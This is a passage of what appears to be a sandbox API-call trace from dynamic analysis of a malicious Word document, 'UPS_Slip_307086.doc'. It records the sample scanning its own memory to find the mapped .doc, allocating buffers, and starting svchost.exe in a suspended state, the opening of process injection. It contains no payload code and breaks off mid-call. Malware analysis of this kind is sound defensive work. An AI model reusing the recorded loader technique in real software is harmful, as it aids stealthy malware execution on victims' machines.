(in: hProcess=0xffffffffffffffff, lpv=0x40d1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40e0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40e0000, AllocationBase=0x40e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40e0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40e1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40e1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40e1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40f0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40f0000, AllocationBase=0x40f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40f0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40f8000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40f8000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40f8000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x4100000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4100000, AllocationBase=0x4100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4100000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x4103000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4103000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4103000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x4110000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4110000, AllocationBase=0x4110000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x17000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4110000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x46 [0018.322] lstrcmpA (lpString1=".DLL", lpString2=".doc") returned -1 [0018.322] VirtualQuery (in: lpAddress=0x4127000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4127000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4127000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x4130000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4130000, AllocationBase=0x4130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xea000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4130000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x421a000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x421a000, AllocationBase=0x4130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x421a000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x421c000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x421c000, AllocationBase=0x4130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x14000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x421c000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x4230000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4230000, AllocationBase=0x4230000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x64000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4230000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf")) returned 0x31 [0018.322] lstrcmpA (lpString1=".ttf", lpString2=".doc") returned 1 [0018.322] VirtualQuery (in: lpAddress=0x4294000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4294000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4294000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\seguisb.ttf")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x42a0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x42a0000, AllocationBase=0x42a0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x42a0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x46 [0018.323] lstrcmpA (lpString1=".DLL", lpString2=".doc") returned -1 [0018.323] VirtualQuery (in: lpAddress=0x42a9000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x42a9000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x42a9000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x42b0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x42b0000, AllocationBase=0x42b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xb000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x42b0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x42bb000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x42bb000, AllocationBase=0x42b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x42bb000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x42c0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x42c0000, AllocationBase=0x42c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x800000, State=0x2000, Protect=0x0, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x42c0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4ac0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4ac0000, AllocationBase=0x4ac0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4ac0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4ac1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4ac1000, AllocationBase=0x4ac0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3f000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4ac1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b00000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b00000, AllocationBase=0x4b00000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b00000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b08000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b08000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b08000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b10000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b10000, AllocationBase=0x4b10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b10000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b14000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b14000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b14000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b20000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b20000, AllocationBase=0x4b20000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b20000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b24000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b24000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b24000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b30000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b30000, AllocationBase=0x4b30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x19000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b30000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4b49000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4b49000, AllocationBase=0x4b30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x67000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4b49000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4bb0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4bb0000, AllocationBase=0x4bb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4bb0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4bb2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4bb2000, AllocationBase=0x4bb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4bb2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4bc0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4bc0000, AllocationBase=0x4bc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4bc0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4bc2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4bc2000, AllocationBase=0x4bc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3e000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4bc2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4c00000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4c00000, AllocationBase=0x4c00000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4c00000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4cfc000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4cfc000, AllocationBase=0x4c00000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.323] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4cfc000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.323] VirtualQuery (in: lpAddress=0x4cfe000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4cfe000, AllocationBase=0x4c00000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.324] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4cfe000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x0 [0018.324] VirtualQuery (in: lpAddress=0x4d00000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4d00000, AllocationBase=0x4d00000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.324] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4d00000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Users\\aDU0VK IWA5kLS\\Desktop\\UPS_Slip_307086.doc" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\ups_slip_307086.doc")) returned 0x48 [0018.324] lstrcmpA (lpString1=".doc", lpString2=".doc") returned 0 [0018.324] VirtualAlloc (lpAddress=0x0, dwSize=0x1a880, flAllocationType=0x1000, flProtect=0x4) returned 0xd090000 [0018.326] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\SysWOW64\\svchost.exe", lpDst=0x53bf6d0, nSize=0x104 | out: lpDst="C:\\Windows\\SysWOW64\\svchost.exe") returned 0x20 [0018.326] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x1000, flProtect=0x4) returned 0xd0b0000 [0018.327] VirtualAlloc (lpAddress=0x0, dwSize=0x68, flAllocationType=0x1000, flProtect=0x4) returned 0xd0c0000 [0018.328] CreateProcessW (in: lpApplicationName="C:\\Windows\\SysWOW64\\svchost.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xd0c0000*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, 